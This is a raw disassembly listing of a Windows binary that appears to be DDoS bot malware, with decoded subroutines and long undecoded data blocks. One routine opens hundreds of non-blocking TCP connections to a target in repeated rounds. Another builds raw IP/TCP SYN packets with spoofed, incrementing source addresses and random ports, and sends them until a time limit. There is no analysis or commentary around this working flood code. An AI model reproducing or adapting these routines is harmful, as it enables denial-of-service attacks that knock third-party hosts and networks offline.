; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB00C
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF5415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A184o
		dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DCE805C6h
		dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
		dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
		dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
		dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
		dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh,	0FF004CB0h
		dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435B8468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022BCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
		dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
		dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAE8Ch, 0C0753B46h,	75FFDA7Ch, 2C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0F1E85359h, 90022BCBh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C1E89000h
		dd 500226D1h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0C868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D97DE890h
		dd 754E0224h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2660F23h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAF74
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAF74
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAF74
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27803CCh
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780000h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB00C
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAECC
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
		dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 5415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh,	0E2458966h
		dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CAFF4h
		dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch,	0FFFBC085h
		dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
		dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAF74h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
